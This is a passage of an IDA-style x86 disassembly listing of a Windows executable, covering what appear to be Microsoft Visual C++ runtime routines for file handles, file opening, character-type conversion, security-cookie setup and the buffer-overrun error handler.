; --------------------------------------------------------------------------- loc_4267C3: ; CODE XREF: sub_4266BC+101j push ebp push esi push edi call sub_41F400 add esp, 0Ch loc_4267CE: ; CODE XREF: sub_4266BC+105j push esi call ds:dword_42B168 ; FreeEnvironmentStringsA mov eax, edi loc_4267D7: ; CODE XREF: sub_4266BC+C9j ; sub_4266BC+D5j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_4266BC endp ; =============== S U B R O U T I N E ======================================= sub_4267DE proc near ; CODE XREF: sub_426A43:loc_426BD6p push ebx push ebp push esi push edi or ebx, 0FFFFFFFFh xor esi, esi xor edx, edx mov ecx, offset dword_4E2BA0 mov edi, 100h loc_4267F3: ; CODE XREF: sub_4267DE+54j mov eax, [ecx] test eax, eax jz short loc_426836 lea ebp, [eax+100h] jmp short loc_42680E ; --------------------------------------------------------------------------- loc_426801: ; CODE XREF: sub_4267DE+32j test byte ptr [eax+4], 1 jz short loc_426814 mov ebp, [ecx] add eax, 8 add ebp, edi loc_42680E: ; CODE XREF: sub_4267DE+21j cmp eax, ebp jb short loc_426801 jmp short loc_426825 ; --------------------------------------------------------------------------- loc_426814: ; CODE XREF: sub_4267DE+27j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, edx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_426874 loc_426825: ; CODE XREF: sub_4267DE+34j add ecx, 4 inc esi add edx, 20h cmp ecx, offset dword_4E2CA0 jl short loc_4267F3 jmp short loc_426874 ; --------------------------------------------------------------------------- loc_426836: ; CODE XREF: sub_4267DE+19j push edi call sub_41E5D3 test eax, eax pop ecx jz short loc_426874 add ds:dword_4E2B98, 20h lea ecx, ds:4E2BA0h[esi*4] mov [ecx], eax lea edx, [eax+100h] jmp short loc_42686B ; --------------------------------------------------------------------------- loc_426859: ; CODE XREF: sub_4267DE+8Fj or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+4], 0 mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, edi loc_42686B: ; CODE XREF: sub_4267DE+79j cmp eax, edx jb short loc_426859 shl esi, 5 mov ebx, esi loc_426874: ; CODE XREF: sub_4267DE+45j ; sub_4267DE+56j ... pop edi pop esi pop ebp mov eax, ebx pop ebx retn sub_4267DE endp ; =============== S U B R O U T I N E ======================================= sub_42687B proc near ; CODE XREF: sub_426A43+20Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, ds:dword_4E2B98 push esi push edi jnb short loc_4268DB mov ecx, eax sar ecx, 5 mov esi, eax and esi, 1Fh lea edi, ds:4E2BA0h[ecx*4] mov ecx, [edi] shl esi, 3 cmp dword ptr [esi+ecx], 0FFFFFFFFh jnz short loc_4268DB cmp ds:dword_4437C4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_4268D1 sub eax, 0 jz short loc_4268C8 dec eax jz short loc_4268C3 dec eax jnz short loc_4268D1 push ebx push 0FFFFFFF4h jmp short loc_4268CB ; --------------------------------------------------------------------------- loc_4268C3: ; CODE XREF: sub_42687B+3Ej push ebx push 0FFFFFFF5h jmp short loc_4268CB ; --------------------------------------------------------------------------- loc_4268C8: ; CODE XREF: sub_42687B+3Bj push ebx push 0FFFFFFF6h loc_4268CB: ; CODE XREF: sub_42687B+46j ; sub_42687B+4Bj call ds:dword_42B158 ; SetStdHandle loc_4268D1: ; CODE XREF: sub_42687B+36j ; sub_42687B+41j mov eax, [edi] mov [esi+eax], ebx xor eax, eax pop ebx jmp short loc_4268EF ; --------------------------------------------------------------------------- loc_4268DB: ; CODE XREF: sub_42687B+Cj ; sub_42687B+28j and ds:dword_4E28F8, 0 mov ds:dword_4E28F4, 9 or eax, 0FFFFFFFFh loc_4268EF: ; CODE XREF: sub_42687B+5Ej pop edi pop esi retn sub_42687B endp ; =============== S U B R O U T I N E ======================================= sub_4268F2 proc near ; CODE XREF: sub_420EE9+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp ecx, ds:dword_4E2B98 push esi push edi jnb short loc_426955 mov eax, ecx sar eax, 5 mov esi, ecx lea edi, ds:4E2BA0h[eax*4] mov eax, [edi] and esi, 1Fh shl esi, 3 add eax, esi test byte ptr [eax+4], 1 jz short loc_426955 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_426955 cmp ds:dword_4437C4, 1 jnz short loc_42694B xor eax, eax sub ecx, eax jz short loc_426942 dec ecx jz short loc_42693D dec ecx jnz short loc_42694B push eax push 0FFFFFFF4h jmp short loc_426945 ; --------------------------------------------------------------------------- loc_42693D: ; CODE XREF: sub_4268F2+41j push eax push 0FFFFFFF5h jmp short loc_426945 ; --------------------------------------------------------------------------- loc_426942: ; CODE XREF: sub_4268F2+3Ej push eax push 0FFFFFFF6h loc_426945: ; CODE XREF: sub_4268F2+49j ; sub_4268F2+4Ej call ds:dword_42B158 ; SetStdHandle loc_42694B: ; CODE XREF: sub_4268F2+38j ; sub_4268F2+44j mov eax, [edi] or dword ptr [esi+eax], 0FFFFFFFFh xor eax, eax jmp short loc_426969 ; --------------------------------------------------------------------------- loc_426955: ; CODE XREF: sub_4268F2+Cj ; sub_4268F2+2Aj ... and ds:dword_4E28F8, 0 mov ds:dword_4E28F4, 9 or eax, 0FFFFFFFFh loc_426969: ; CODE XREF: sub_4268F2+61j pop edi pop esi retn sub_4268F2 endp ; =============== S U B R O U T I N E ======================================= sub_42696C proc near ; CODE XREF: sub_420EE9+32p ; sub_420EE9+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_4E2B98 jnb short loc_426993 mov ecx, eax sar ecx, 5 mov ecx, ds:dword_4E2BA0[ecx*4] and eax, 1Fh lea eax, [ecx+eax*8] test byte ptr [eax+4], 1 jz short loc_426993 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_426993: ; CODE XREF: sub_42696C+Aj ; sub_42696C+22j and ds:dword_4E28F8, 0 mov ds:dword_4E28F4, 9 or eax, 0FFFFFFFFh retn sub_42696C endp ; --------------------------------------------------------------------------- dd 424448Bh, 2B98053Bh, 3D73004Eh, 0F9C1C88Bh, 8D0C8B05h dd 4E2BA0h, 0E283D08Bh, 0D144F61Fh, 25740104h, 0FF9AE850h dd 5059FFFFh, 0B15415FFh, 0C0850042h, 15FF0875h, 42B01Ch dd 0C03302EBh, 1274C085h, 4E28F8A3h, 0F405C700h, 9004E28h dd 83000000h db 0C8h, 0FFh, 0C3h ; =============== S U B R O U T I N E ======================================= sub_4269FF proc near ; CODE XREF: sub_421C63+34p ; sub_422124+6Fp ... arg_0 = dword ptr 4 inc ds:dword_4E2944 push 1000h call sub_41E5D3 test eax, eax pop ecx mov ecx, [esp+arg_0] mov [ecx+8], eax jz short loc_426A28 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_426A39 ; --------------------------------------------------------------------------- loc_426A28: ; CODE XREF: sub_4269FF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_426A39: ; CODE XREF: sub_4269FF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4269FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426A43 proc near ; CODE XREF: sub_421F4A+137p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx test cl, cl push esi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jns short loc_426A67 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_426A72 ; --------------------------------------------------------------------------- loc_426A67: ; CODE XREF: sub_426A43+19j mov [ebp+var_14], 1 mov [ebp+var_1], 0 loc_426A72: ; CODE XREF: sub_426A43+22j mov eax, 8000h test ecx, eax jnz short loc_426A8C test ch, 40h jnz short loc_426A88 cmp ds:dword_4E2B70, eax jz short loc_426A8C loc_426A88: ; CODE XREF: sub_426A43+3Bj or [ebp+var_1], 80h loc_426A8C: ; CODE XREF: sub_426A43+36j ; sub_426A43+43j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_426AAF dec eax jz short loc_426AA6 dec eax jnz short loc_426ACD mov [ebp+var_10], 0C0000000h jmp short loc_426AB6 ; --------------------------------------------------------------------------- loc_426AA6: ; CODE XREF: sub_426A43+55j mov [ebp+var_10], 40000000h jmp short loc_426AB6 ; --------------------------------------------------------------------------- loc_426AAF: ; CODE XREF: sub_426A43+52j mov [ebp+var_10], 80000000h loc_426AB6: ; CODE XREF: sub_426A43+61j ; sub_426A43+6Aj mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_426AFC cmp eax, 20h jz short loc_426AF3 cmp eax, 30h jz short loc_426AEA cmp eax, 40h jz short loc_426AE5 loc_426ACD: ; CODE XREF: sub_426A43+58j mov ds:dword_4E28F4, 16h mov ds:dword_4E28F8, ebx or eax, 0FFFFFFFFh jmp loc_426CC4 ; --------------------------------------------------------------------------- loc_426AE5: ; CODE XREF: sub_426A43+88j mov [ebp+var_8], esi jmp short loc_426AFF ; --------------------------------------------------------------------------- loc_426AEA: ; CODE XREF: sub_426A43+83j mov [ebp+var_8], 2 jmp short loc_426AFF ; --------------------------------------------------------------------------- loc_426AF3: ; CODE XREF: sub_426A43+7Ej mov [ebp+var_8], 1 jmp short loc_426AFF ; --------------------------------------------------------------------------- loc_426AFC: ; CODE XREF: sub_426A43+79j mov [ebp+var_8], ebx loc_426AFF: ; CODE XREF: sub_426A43+A5j ; sub_426A43+AEj ... mov eax, ecx mov edx, 700h and eax, edx mov ecx, 400h cmp eax, ecx push edi mov edi, 100h jg short loc_426B46 jz short loc_426B41 cmp eax, ebx jz short loc_426B41 cmp eax, edi jz short loc_426B38 cmp eax, 200h jz short loc_426B70 cmp eax, 300h jnz short loc_426B58 mov [ebp+var_C], 2 jmp short loc_426B80 ; --------------------------------------------------------------------------- loc_426B38: ; CODE XREF: sub_426A43+DCj mov [ebp+var_C], 4 jmp short loc_426B80 ; --------------------------------------------------------------------------- loc_426B41: ; CODE XREF: sub_426A43+D4j ; sub_426A43+D8j mov [ebp+var_C], esi jmp short loc_426B80 ; --------------------------------------------------------------------------- loc_426B46: ; CODE XREF: sub_426A43+D2j cmp eax, 500h jz short loc_426B79 cmp eax, 600h jz short loc_426B70 cmp eax, edx jz short loc_426B79 loc_426B58: ; CODE XREF: sub_426A43+EAj mov ds:dword_4E28F4, 16h mov ds:dword_4E28F8, ebx loc_426B68: ; CODE XREF: sub_426A43+2CBj or eax, 0FFFFFFFFh jmp loc_426CC3 ; --------------------------------------------------------------------------- loc_426B70: ; CODE XREF: sub_426A43+E3j ; sub_426A43+10Fj mov [ebp+var_C], 5 jmp short loc_426B80 ; --------------------------------------------------------------------------- loc_426B79: ; CODE XREF: sub_426A43+108j ; sub_426A43+113j mov [ebp+var_C], 1 loc_426B80: ; CODE XREF: sub_426A43+F3j ; sub_426A43+FCj ... mov eax, [ebp+arg_4] test eax, edi mov esi, 80h jz short loc_426B9E mov ecx, ds:dword_4E28FC not ecx and ecx, [ebp+arg_C] test cl, cl js short loc_426B9E xor esi, esi inc esi loc_426B9E: ; CODE XREF: sub_426A43+147j ; sub_426A43+156j test al, 40h jz short loc_426BB9 or byte ptr [ebp+var_10+2], 1 or esi, 4000000h cmp ds:dword_4E2900, 2 jnz short loc_426BB9 or [ebp+var_8], 4 loc_426BB9: ; CODE XREF: sub_426A43+15Dj ; sub_426A43+170j test ah, 10h jz short loc_426BC0 or esi, edi loc_426BC0: ; CODE XREF: sub_426A43+179j test al, 20h jz short loc_426BCC or esi, 8000000h jmp short loc_426BD6 ; --------------------------------------------------------------------------- loc_426BCC: ; CODE XREF: sub_426A43+17Fj test al, 10h jz short loc_426BD6 or esi, 10000000h loc_426BD6: ; CODE XREF: sub_426A43+187j ; sub_426A43+18Bj call sub_4267DE mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_426BFC and ds:dword_4E28F8, 0 mov ds:dword_4E28F4, 18h loc_426BF5: ; CODE XREF: sub_426A43+1F7j mov eax, edi jmp loc_426CC3 ; --------------------------------------------------------------------------- loc_426BFC: ; CODE XREF: sub_426A43+19Fj push 0 push esi push [ebp+var_C] lea eax, [ebp+var_1C] push eax push [ebp+var_8] push [ebp+var_10] push [ebp+arg_0] call ds:dword_42B08C ; CreateFileA mov esi, eax cmp esi, edi jz short loc_426C2D push esi call ds:dword_42B184 ; GetFileType test eax, eax jnz short loc_426C3C push esi call ds:dword_42B004 ; CloseHandle loc_426C2D: ; CODE XREF: sub_426A43+1D6j call ds:dword_42B01C ; RtlGetLastWin32Error push eax call sub_422C0F pop ecx jmp short loc_426BF5 ; --------------------------------------------------------------------------- loc_426C3C: ; CODE XREF: sub_426A43+1E1j cmp eax, 2 jnz short loc_426C47 or [ebp+var_1], 40h jmp short loc_426C50 ; --------------------------------------------------------------------------- loc_426C47: ; CODE XREF: sub_426A43+1FCj cmp eax, 3 jnz short loc_426C50 or [ebp+var_1], 8 loc_426C50: ; CODE XREF: sub_426A43+202j ; sub_426A43+207j push esi push ebx call sub_42687B mov al, [ebp+var_1] pop ecx pop ecx mov ecx, ebx sar ecx, 5 or al, 1 mov esi, ebx and esi, 1Fh lea edi, ds:4E2BA0h[ecx*4] mov ecx, [edi] shl esi, 3 mov [ebp+var_1], al and [ebp+var_1], 48h mov [ecx+esi+4], al jnz short loc_426CAC test al, al jns short loc_426CAC test byte ptr [ebp+arg_4], 2 jz short loc_426CAC push 2 push 0FFFFFFFFh push ebx call sub_42569D add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_426CC8 cmp ds:dword_4E28F8, 83h jnz short loc_426D07 loc_426CAC: ; CODE XREF: sub_426A43+23Cj ; sub_426A43+240j ... cmp [ebp+var_1], 0 jnz short loc_426CC1 test byte ptr [ebp+arg_4], 8 jz short loc_426CC1 mov eax, [edi] lea eax, [eax+esi+4] or byte ptr [eax], 20h loc_426CC1: ; CODE XREF: sub_426A43+26Dj ; sub_426A43+273j mov eax, ebx loc_426CC3: ; CODE XREF: sub_426A43+128j ; sub_426A43+1B4j pop edi loc_426CC4: ; CODE XREF: sub_426A43+9Dj pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426CC8: ; CODE XREF: sub_426A43+25Bj push 1 lea eax, [ebp+var_2] push eax push ebx mov [ebp+var_2], 0 call sub_421D41 add esp, 0Ch test eax, eax jnz short loc_426CF5 cmp [ebp+var_2], 1Ah jnz short loc_426CF5 push [ebp+var_10] push ebx call sub_42884D cmp eax, 0FFFFFFFFh pop ecx pop ecx jz short loc_426D07 loc_426CF5: ; CODE XREF: sub_426A43+29Aj ; sub_426A43+2A0j push 0 push 0 push ebx call sub_42569D add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_426CAC loc_426D07: ; CODE XREF: sub_426A43+267j ; sub_426A43+2B0j push ebx call sub_420EE9 pop ecx jmp loc_426B68 sub_426A43 endp ; =============== S U B R O U T I N E ======================================= sub_426D13 proc near ; CODE XREF: sub_422124+64p ; sub_422C6E+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_4E2B98 jb short loc_426D22 xor eax, eax retn ; --------------------------------------------------------------------------- loc_426D22: ; CODE XREF: sub_426D13+Aj mov ecx, eax sar ecx, 5 mov ecx, ds:dword_4E2BA0[ecx*4] and eax, 1Fh movsx eax, byte ptr [ecx+eax*8+4] and eax, 40h retn sub_426D13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426D3A proc near ; CODE XREF: sub_4222C8+343p ; sub_4222C8+74Ap arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_426D4B xor eax, eax jmp short loc_426D9D ; --------------------------------------------------------------------------- loc_426D4B: ; CODE XREF: sub_426D3A+Bj cmp ds:dword_4E29A4, esi jnz short loc_426D65 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_426D90 mov [eax], cl xor eax, eax inc eax jmp short loc_426D9D ; --------------------------------------------------------------------------- loc_426D65: ; CODE XREF: sub_426D3A+17j lea ecx, [ebp+arg_0] push ecx push esi push ds:dword_4437B0 mov [ebp+arg_0], esi push eax push 1 lea eax, [ebp+arg_4] push eax push esi push ds:dword_4E29B4 call ds:dword_42B090 ; WideCharToMultiByte cmp eax, esi jz short loc_426D90 cmp [ebp+arg_0], esi jz short loc_426D9D loc_426D90: ; CODE XREF: sub_426D3A+22j ; sub_426D3A+4Fj mov ds:dword_4E28F4, 2Ah or eax, 0FFFFFFFFh loc_426D9D: ; CODE XREF: sub_426D3A+Fj ; sub_426D3A+29j ... pop esi pop ebp retn sub_426D3A endp ; =============== S U B R O U T I N E ======================================= sub_426DA0 proc near ; CODE XREF: sub_422AC2+4Fp ; sub_422B91+67p ... push 1Ch push offset dword_43A058 call sub_425F14 xor esi, esi cmp ds:dword_4E2AD8, esi jnz short loc_426DEB lea eax, [ebp-1Ch] push eax xor edi, edi inc edi push edi push offset dword_439C24 push edi call ds:dword_42B14C ; GetStringTypeW test eax, eax jz short loc_426DD6 mov ds:dword_4E2AD8, edi jmp short loc_426DEB ; --------------------------------------------------------------------------- loc_426DD6: ; CODE XREF: sub_426DA0+2Cj call ds:dword_42B01C ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_426DEB mov ds:dword_4E2AD8, 2 loc_426DEB: ; CODE XREF: sub_426DA0+14j ; sub_426DA0+34j ... mov eax, ds:dword_4E2AD8 cmp eax, 2 jz loc_426EE3 cmp eax, esi jz loc_426EE3 cmp eax, 1 jnz loc_426F09 mov [ebp-24h], esi mov [ebp-20h], esi cmp [ebp+18h], esi jnz short loc_426E1D mov eax, ds:dword_4E29B4 mov [ebp+18h], eax loc_426E1D: ; CODE XREF: sub_426DA0+73j push esi push esi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] xor eax, eax cmp [ebp+20h], esi setnz al lea eax, ds:1[eax*8] push eax push dword ptr [ebp+18h] call ds:dword_42B07C ; MultiByteToWideChar mov edi, eax mov [ebp-28h], edi test edi, edi jz loc_426F09 and dword ptr [ebp-4], 0 lea ebx, [edi+edi] mov eax, ebx add eax, 3 and eax, 0FFFFFFFCh call sub_41EA20 mov [ebp-18h], esp mov esi, esp mov [ebp-2Ch], esi push ebx push 0 push esi call sub_41E5F0 add esp, 0Ch or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_426E8E ; --------------------------------------------------------------------------- db 33h, 0C0h, 40h dd 0E8658BC3h, 0FFEBEDE8h, 83F633FFh, 8BFFFC4Dh db 7Dh, 0D8h ; --------------------------------------------------------------------------- loc_426E8E: ; CODE XREF: sub_426DA0+D7j test esi, esi jnz short loc_426EA9 push edi push 2 call sub_4205E4 pop ecx pop ecx mov esi, eax test esi, esi jz short loc_426F09 mov dword ptr [ebp-20h], 1 loc_426EA9: ; CODE XREF: sub_426DA0+F0j push edi push esi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push 1 push dword ptr [ebp+18h] call ds:dword_42B07C ; MultiByteToWideChar test eax, eax jz short loc_426ED1 push dword ptr [ebp+14h] push eax push esi push dword ptr [ebp+8] call ds:dword_42B14C ; GetStringTypeW mov [ebp-24h], eax loc_426ED1: ; CODE XREF: sub_426DA0+11Ej cmp dword ptr [ebp-20h], 0 jz short loc_426EDE push esi call sub_41E2A1 pop ecx loc_426EDE: ; CODE XREF: sub_426DA0+135j mov eax, [ebp-24h] jmp short loc_426F51 ; --------------------------------------------------------------------------- loc_426EE3: ; CODE XREF: sub_426DA0+53j ; sub_426DA0+5Bj mov ebx, [ebp+1Ch] cmp ebx, esi jnz short loc_426EF0 mov ebx, ds:dword_4E29A4 loc_426EF0: ; CODE XREF: sub_426DA0+148j mov edi, [ebp+18h] test edi, edi jnz short loc_426EFD mov edi, ds:dword_4E29B4 loc_426EFD: ; CODE XREF: sub_426DA0+155j push ebx call sub_4282DB pop ecx cmp eax, 0FFFFFFFFh jnz short loc_426F0D loc_426F09: ; CODE XREF: sub_426DA0+64j ; sub_426DA0+A5j ... xor eax, eax jmp short loc_426F51 ; --------------------------------------------------------------------------- loc_426F0D: ; CODE XREF: sub_426DA0+167j cmp eax, edi jz short loc_426F2F push 0 push 0 lea ecx, [ebp+10h] push ecx push dword ptr [ebp+0Ch] push eax push edi call sub_42831E add esp, 18h mov esi, eax test esi, esi jz short loc_426F09 mov [ebp+0Ch], esi loc_426F2F: ; CODE XREF: sub_426DA0+16Fj push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] push ebx call ds:dword_42B150 ; GetStringTypeA mov edi, eax test esi, esi jz short loc_426F4F push esi call sub_41E2A1 pop ecx loc_426F4F: ; CODE XREF: sub_426DA0+1A6j mov eax, edi loc_426F51: ; CODE XREF: sub_426DA0+141j ; sub_426DA0+16Bj lea esp, [ebp-38h] call sub_425F4F retn sub_426DA0 endp ; --------------------------------------------------------------------------- loc_426F5A: ; DATA XREF: seg002:0043C004o push ebp mov ebp, esp sub esp, 10h mov eax, ds:dword_4437D4 test eax, eax jz short loc_426F70 cmp eax, 0BB40E64Eh jnz short locret_426FBE loc_426F70: ; CODE XREF: seg000:00426F67j push esi lea eax, [ebp-8] push eax call ds:dword_42B198 ; GetSystemTimeAsFileTime mov esi, [ebp-4] xor esi, [ebp-8] call ds:dword_42B044 ; GetCurrentProcessId xor esi, eax call ds:dword_42B148 ; GetCurrentThreadId xor esi, eax call ds:dword_42B038 ; GetTickCount xor esi, eax lea eax, [ebp-10h] push eax call ds:dword_42B0D8 ; QueryPerformanceCounter mov eax, [ebp-0Ch] xor eax, [ebp-10h] xor esi, eax mov ds:dword_4437D4, esi jnz short loc_426FBD mov ds:dword_4437D4, 0BB40E64Eh loc_426FBD: ; CODE XREF: seg000:00426FB1j pop esi locret_426FBE: ; CODE XREF: seg000:00426F6Ej leave retn ; =============== S U B R O U T I N E ======================================= sub_426FC0 proc near ; CODE XREF: sub_422B83-1Dp push 118h push offset dword_43A208 call sub_425F14 mov eax, ds:dword_4437D4 mov [ebp-1Ch], eax mov eax, ds:dword_4E2ADC xor ecx, ecx cmp eax, ecx jz short loc_427001 mov [ebp-4], ecx push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call eax pop ecx pop ecx or dword ptr [ebp-4], 0FFFFFFFFh jmp loc_427100 ; --------------------------------------------------------------------------- dd 0C340C033h, 0EBE8658Bh db 0EEh ; --------------------------------------------------------------------------- loc_427001: ; CODE XREF: sub_426FC0+20j mov eax, [ebp+8] dec eax jz short loc_42701D mov edi, offset aUnknownSecurit ; "Unknown security failure detected!" mov dword ptr [ebp-128h], offset aASecurityError ; "A security error of unknown cause has b"... mov esi, 0D4h jmp short loc_427031 ; --------------------------------------------------------------------------- loc_42701D: ; CODE XREF: sub_426FC0+45j mov edi, offset aBufferOverrunD ; "Buffer overrun detected!" mov dword ptr [ebp-128h], offset aABufferOverrun ; "A buffer overrun has been detected whic"... mov esi, 0B9h loc_427031: ; CODE XREF: sub_426FC0+5Bj mov [ebp-20h], cl push 104h lea eax, [ebp-124h] push eax push ecx call ds:dword_42B00C ; GetModuleFileNameA test eax, eax jnz short loc_42705E push offset aProgramNameUnk ; "<program name unknown>" lea eax, [ebp-124h] push eax call sub_41EEC0 pop ecx pop ecx loc_42705E: ; CODE XREF: sub_426FC0+89j lea ebx, [ebp-124h] mov eax, ebx push eax call sub_41E1C0 pop ecx add eax, 0Bh cmp eax, 3Ch jbe short loc_42709A mov eax, ebx push eax call sub_41E1C0 mov ebx, eax lea eax, [ebp-124h] sub eax, 31h add ebx, eax push 3 push offset a___ ; "..." push ebx call sub_41E860 add esp, 10h loc_42709A: ; CODE XREF: sub_426FC0+B3j push ebx call sub_41E1C0 pop ecx lea eax, [eax+esi+0Ch] add eax, 3 and eax, 0FFFFFFFCh call sub_41EA20 mov [ebp-18h], esp mov esi, esp push edi push esi call sub_41EEC0 mov edi, offset asc_43A018 ; "\n\n" push edi push esi call sub_41EED0 push offset aProgram ; "Program: " push esi call sub_41EED0 push ebx push esi call sub_41EED0 push edi push esi call sub_41EED0 push dword ptr [ebp-128h] push esi call sub_41EED0 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push esi call sub_428710 add esp, 3Ch loc_427100: ; CODE XREF: sub_426FC0+33j push 3 call sub_41F282 int 3 ; Trap to Debugger sub_426FC0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427108 proc near ; CODE XREF: sub_42319B+7p arg_0 = dword ptr 4 cmp ds:dword_4E2F00, 3 push esi jnz short loc_42712C mov esi, [esp+4+arg_0] push esi call sub_421188 test eax, eax pop ecx jz short loc_427129 mov eax, [esi-4] sub eax, 9 pop esi retn ; --------------------------------------------------------------------------- loc_427129: ; CODE XREF: sub_427108+17j push esi jmp short loc_427130 ; --------------------------------------------------------------------------- loc_42712C: ; CODE XREF: sub_427108+8j push [esp+4+arg_0] loc_427130: ; CODE XREF: sub_427108+22j push 0 push ds:dword_4E2EFC call ds:dword_42B144 ; RtlSizeHeap pop esi retn sub_427108 endp ; =============== S U B R O U T I N E ======================================= sub_427140 proc near ; CODE XREF: sub_423327+A5p ; sub_423327+575p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_42718C mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_42715E test al, al jns short loc_42718C test al, 2 jnz short loc_42718C loc_42715E: ; CODE XREF: sub_427140+14j cmp dword ptr [esi+8], 0 jnz short loc_42716B push esi call sub_4269FF pop ecx loc_42716B: ; CODE XREF: sub_427140+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_42717B cmp dword ptr [esi+4], 0 jnz short loc_42718C inc eax mov [esi], eax loc_42717B: ; CODE XREF: sub_427140+30j dec dword ptr [esi] test byte ptr [esi+0Ch], 40h mov eax, [esi] jz short loc_427192 cmp [eax], bl jz short loc_427194 inc eax mov [esi], eax loc_42718C: ; CODE XREF: sub_427140+9j ; sub_427140+18j ... or eax, 0FFFFFFFFh loc_42718F: ; CODE XREF: sub_427140+6Aj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_427192: ; CODE XREF: sub_427140+43j mov [eax], bl loc_427194: ; CODE XREF: sub_427140+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and eax, 0FFFFFFEFh or eax, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_42718F sub_427140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4271AC proc near ; CODE XREF: sub_423327+8A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4271CF cmp [ebp+arg_8], ebx jz short loc_4271CF mov al, [esi] cmp al, bl jnz short loc_4271D5 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4271CF mov [eax], bx loc_4271CF: ; CODE XREF: sub_4271AC+Cj ; sub_4271AC+11j ... xor eax, eax loc_4271D1: ; CODE XREF: sub_4271AC+42j ; sub_4271AC+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4271D5: ; CODE XREF: sub_4271AC+17j cmp ds:dword_4E29A4, ebx jnz short loc_4271F0 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_4271EB movzx ax, al mov [ecx], ax loc_4271EB: ; CODE XREF: sub_4271AC+36j ; sub_4271AC+C0j xor eax, eax inc eax jmp short loc_4271D1 ; --------------------------------------------------------------------------- loc_4271F0: ; CODE XREF: sub_4271AC+2Fj mov ecx, ds:off_4437D8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_42724D mov eax, ds:dword_4437B0 cmp eax, 1 jle short loc_427234 cmp [ebp+arg_8], eax jl short loc_427237 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push ds:dword_4E29B4 call ds:dword_42B07C ; MultiByteToWideChar test eax, eax mov eax, ds:dword_4437B0 jnz short loc_4271D1 loc_427234: ; CODE XREF: sub_4271AC+5Cj cmp [ebp+arg_8], eax loc_427237: ; CODE XREF: sub_4271AC+61j jb short loc_42723E cmp [esi+1], bl jnz short loc_4271D1 loc_42723E: ; CODE XREF: sub_4271AC:loc_427237j ; sub_4271AC+C6j mov ds:dword_4E28F4, 2Ah or eax, 0FFFFFFFFh jmp short loc_4271D1 ; --------------------------------------------------------------------------- loc_42724D: ; CODE XREF: sub_4271AC+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push ds:dword_4E29B4 call ds:dword_42B07C ; MultiByteToWideChar test eax, eax jnz loc_4271EB jmp short loc_42723E sub_4271AC endp ; =============== S U B R O U T I N E ======================================= sub_427274 proc near ; CODE XREF: sub_424391+11Ap ; sub_424391+1D5p ... xor eax, eax retn sub_427274 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427277 proc near ; CODE XREF: sub_427885+4Ap arg_0 